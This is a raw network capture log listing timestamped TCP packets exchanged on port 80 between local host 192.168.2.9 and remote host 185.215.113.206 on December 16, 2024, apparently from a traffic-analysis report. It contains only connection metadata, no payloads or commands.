Dec 16, 2024 10:38:17.876168013 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.876257896 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.876302004 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.877022982 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.877068996 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.877126932 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.877171040 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.877815962 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.877862930 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.877959013 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.878007889 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.878634930 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.878683090 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.878757954 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.878806114 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.879498959 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.879544973 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.879605055 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.879648924 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.880353928 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.880404949 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.880445957 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.880491972 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.881181955 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.881225109 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.881318092 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.881365061 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.882030010 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.882078886 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.882119894 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.882169008 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.882952929 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.882999897 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.883039951 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.883084059 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.883717060 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.883775949 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.883817911 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.883857012 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.884586096 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.884629965 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.884675026 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.884721041 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.885440111 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.885493040 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.885584116 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.885632992 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.886262894 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.886312008 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.886352062 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.886398077 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.887115955 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.887166023 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.887238979 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.887293100 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.888010979 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.888056993 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.888130903 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.888178110 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.888808966 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.888916016 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.888947010 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.888991117 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.889779091 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.889827967 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.889869928 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.889919043 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.890548944 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.890597105 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.890625000 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.890670061 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.891364098 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.891412020 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.891458035 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.891504049 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.892240047 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.892288923 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.892350912 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.892399073 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.893191099 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.893239021 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.893274069 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.893320084 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.893992901 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.894041061 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.894104958 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.894153118 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.894771099 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.894820929 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.894860983 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.894911051 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.895613909 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.895657063 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.895694971 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.895740032 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.896410942 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.896456957 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.896527052 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.896574974 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.897300959 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.897351027 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.897393942 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.897439957 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.898123980 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.898173094 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.898219109 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.898266077 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.898978949 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.899029016 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.899153948 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.899207115 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.899806023 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.899854898 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.899945974 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.899990082 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.900640011 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.900686026 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.900723934 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.900768042 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.901514053 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.901560068 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.901598930 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.901639938 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.902316093 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.902363062 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.902440071 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.902484894 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.903208017 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.903256893 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.903299093 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.903338909 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.904090881 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.904145956 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.904175043 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.904211044 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.904866934 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.904916048 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.904989004 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.905036926 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.905713081 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.905756950 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.905878067 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.905925989 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.906614065 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.906661034 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.906742096 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.906790972 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.907521963 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.907591105 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.907609940 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.907653093 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.908245087 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.908293962 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.908354998 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.908399105 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.909111023 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.909161091 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.909198046 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.909244061 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.909969091 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.910018921 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.910041094 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.910085917 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.910795927 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.910840988 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.910887003 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.910932064 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.911679983 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.911725044 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.911761999 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.911807060 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.912483931 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.912530899 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.912570953 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.912616014 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.913369894 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.913419962 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.913439035 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.913482904 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.062108040 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.062190056 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.062227964 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.062271118 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.062659025 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.062719107 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.062856913 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.062906027 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.063538074 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.063590050 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.063621998 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.063666105 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.064296961 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.064341068 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.064347029 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.064388990 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.064989090 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.065037966 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.065079927 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.065126896 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.065793037 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.065841913 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.065881968 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.065927982 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.066637993 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.066687107 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.066726923 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.066771984 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.067647934 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.067694902 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.067734003 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.067786932 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.068339109 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.068384886 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.068427086 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.068473101 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.069170952 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.069226980 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.069252968 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.069298983 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.070079088 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.070126057 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.070225954 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.070274115 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.070929050 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.070985079 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.071021080 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.071064949 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.071757078 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.071805954 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.071842909 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.071886063 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.072561026 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.072612047 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.072649002 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.072690964 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.073410034 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.073458910 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.073489904 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.073534966 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.074253082 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.074306011 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.074342012 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.074383020 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.075141907 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.075191021 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.075226068 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.075263977 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.075922012 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.075972080 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.075978041 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.076023102 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.076797009 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.076849937 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.076934099 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.076982021 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.077672005 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.077722073 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.077733994 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.077800989 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.078480959 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.078535080 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.078628063 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.078675985 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.079329014 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.079379082 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.079413891 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.079457998 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.080178022 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.080224037 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.080334902 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.080383062 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.081027031 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.081069946 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.081161022 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.081221104 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.081897974 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.081944942 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.081984043 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.082025051 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.082685947 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.082741022 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.082788944 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.082834005 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.083558083 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.083612919 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.083750963 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.083803892 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.084616899 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.084681988 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.084738970 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.084788084 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.085338116 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.085388899 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.085494995 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.085542917 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.086076975 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.086126089 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.086205006 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.086250067 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.086932898 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.086983919 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.087069035 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.087126017 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.087769032 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.087821960 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.087898970 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.087948084 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.088604927 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.088656902 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.088694096 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.088737965 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.089456081 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.089504957 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.089584112 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.089632988 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.090293884 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.090353966 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.090457916 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.090507030 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.091136932 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.091190100 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.091234922 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.091278076 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.092029095 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.092078924 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.092122078 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.092168093 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.092843056 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.092892885 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.092920065 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.092962027 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.093746901 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.093794107 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.093836069 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.093882084 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.094561100 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.094609022 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.094726086 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:18.094773054 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:18.095403910 CET	80	49896	185.215.113.206	192.168.2.9
